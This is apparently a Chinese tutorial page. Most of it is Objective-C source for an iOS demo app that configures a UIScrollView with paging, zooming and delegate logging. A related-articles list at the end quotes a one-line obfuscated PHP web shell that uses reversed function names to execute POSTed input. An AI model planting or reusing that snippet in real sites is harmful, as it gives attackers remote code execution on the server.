//
// AppDelegate.m
// UI1_UIScrollView
//
// Created by zhangxueming on 15/7/10.
// Copyright (c) 2015年 zhangxueming. All rights reserved.
// #import "AppDelegate.h"
#import "ViewController.h" @interface AppDelegate () @end @implementation AppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// Override point for customization after application launch.
ViewController *root = [[ViewController alloc] init];
UINavigationController *nav = [[UINavigationController alloc] initWithRootViewController:root];
self.window.rootViewController = nav;
self.window.backgroundColor = [UIColor whiteColor]; return YES;
}
//
// ViewController.h
// UI1_UIScrollView
//
// Created by zhangxueming on 15/7/10.
// Copyright (c) 2015年 zhangxueming. All rights reserved.
// #import <UIKit/UIKit.h> @interface ViewController : UIViewController <UIScrollViewDelegate> @end
//
// ViewController.m
// UI1_UIScrollView
//
// Created by zhangxueming on 15/7/10.
// Copyright (c) 2015年 zhangxueming. All rights reserved.
// #import "ViewController.h" @interface ViewController () @end @implementation ViewController - (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view, typically from a nib.
NSString *path = [[NSBundle mainBundle] pathForResource:@"image" ofType:@"png"];
UIImage *image = [UIImage imageWithContentsOfFile:path];
UIImageView *imageView = [[UIImageView alloc] initWithFrame:CGRectMake(0, 0, image.size.width, image.size.height)];
imageView.image = image;
//[self.view addSubview:imageView];
//创建滚动视图
UIScrollView *scrollView = [[UIScrollView alloc] initWithFrame:CGRectMake(0, 64, self.view.frame.size.width, self.view.frame.size.height)];
//设置内容视图的大小
//跟imageView的大小相同
scrollView.contentSize = CGSizeMake(imageView.frame.size.width, imageView.frame.size.height);
[scrollView addSubview:imageView];
scrollView.backgroundColor = [UIColor redColor];
//消除导航栏的影响,显示的视图不被导航栏覆盖
self.automaticallyAdjustsScrollViewInsets = NO; //隐藏滚动条
//横向的指示条
scrollView.showsHorizontalScrollIndicator = NO;
//竖向的指示条
scrollView.showsVerticalScrollIndicator = YES; //设置边界回弹
scrollView.bounces = YES;
//滚动视图的偏移, 相对于内容视图的偏移
scrollView.contentOffset = CGPointMake(0, 0);
//设置分页
//必然有一个减速的过程
scrollView.pagingEnabled = YES;
//是否滚动
scrollView.scrollEnabled = YES; //[scrollView setContentOffset:CGPointMake(-100, -100) animated:YES];
//[scrollView flashScrollIndicators]; //设置放大缩小的系数
scrollView.delegate = self;
scrollView.minimumZoomScale = 0.2;
scrollView.maximumZoomScale = 3; [self.view addSubview:scrollView];
} #pragma mark --UIScrollViewDelegate---
//视图发生滚动时调用
- (void)scrollViewDidScroll:(UIScrollView *)scrollView
{
//NSLog(@"----滚动----");
}
//视图发生拖拽的时候调用
- (void)scrollViewWillBeginDragging:(UIScrollView *)scrollView
{
NSLog(@"----拉拽----");
} //拖拽结束时调用
- (void)scrollViewDidEndDragging:(UIScrollView *)scrollView willDecelerate:(BOOL)decelerate
{
NSLog(@"decelerate = %i", decelerate);
if (decelerate) {
NSLog(@"拖拽减速");
}
}
//返回要放大子视图
- (UIView *)viewForZoomingInScrollView:(UIScrollView *)scrollView
{
NSLog(@"图片被放大"); return [scrollView.subviews objectAtIndex:0];
} //当有减速过程的时候才被调用
- (void)scrollViewWillBeginDecelerating:(UIScrollView *)scrollView
{
NSLog(@"开始减速");
}
//如果设置分页使能, 那么该方法肯定被调用
- (void)scrollViewDidEndDecelerating:(UIScrollView *)scrollView
{
NSLog(@"减速结束");
} - (void)didReceiveMemoryWarning {
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
} @end

UI1_UIScrollView的更多相关文章

随机推荐

  1. LinQ—Lambda表达式

    概述 本篇博客主要解说lambda表达式,在这里将它的来龙去脉,主要是从托付,匿名函数这些方面过度讲的,当然,在讲托付和匿名函数的时候,主要是从Lambda的角度出发讲的,可能它们还具有其他的一些作用 ...

  2. GXPT(一)——UI设计

    通过长时间的积淀.TGB再次開始GXPT模式,JAVA版..NET版两条线同一时候进行. 纯面向对象的底层架构的搭建:easyUI+MVC的界面设计:工作流的再次雄起.云平台的构想:Confluenc ...

  3. Cassandra在CQL语言层面支持多种数据类型

    Cassandra在CQL语言层面支持多种数据类型. CQL类型 对应Java类型 描述 ascii String ascii字符串 bigint long 64位整数 blob ByteBuffer ...

  4. php 运行客户提交代码(攻击)和运行图片中的代码

    1.$a=@strrev(ecalper_gerp);$b=@strrev(edoced_46esab);@$a($b(L3h4L2Ug),$_POST[POST],bxxb); 2.<?php ...

  5. 21 Free SEO Tools For Bloggers--reference

    http://dizyne.net/21-free-seo-tools-for-bloggers/ What do you think is important in a website? Yes, ...

  6. Linux 2.4调度系统分析--转

    http://www.ibm.com/developerworks/cn/linux/kernel/l-k24sch/index.html 杨沙洲 (pubb@163.net)国防科技大学计算机学院 ...

  7. LeetCode24 Swap Nodes in Pairs

    题意: Given a linked list, swap every two adjacent nodes and return its head. For example,Given 1-> ...

  8. 【源码】基于SQLite实现CMS论坛(BBS)----附件SQLite可视化界面客户端

              使用说明:管理员账号:admin  密码:523523523   一.  账号管理(登陆注册审核) 1.账号注册 url:/BBS/Account/pregister.aspx 2 ...

  9. 属性通知之INotifyPropertyChanged

    为什么后台绑定的值改变了前台不发生变化了? 针对这个初学者很容易弄错的问题,这里介绍一下INotifyPropertyChanged的用法 INotifyPropertyChanged:用于绑定属性更 ...

  10. Swift中if let name = optionName {}解释

    在Swift语法的if语句中,是不能出现这种情况的: let optionName = "Swift" if let name = optionName { print(" ...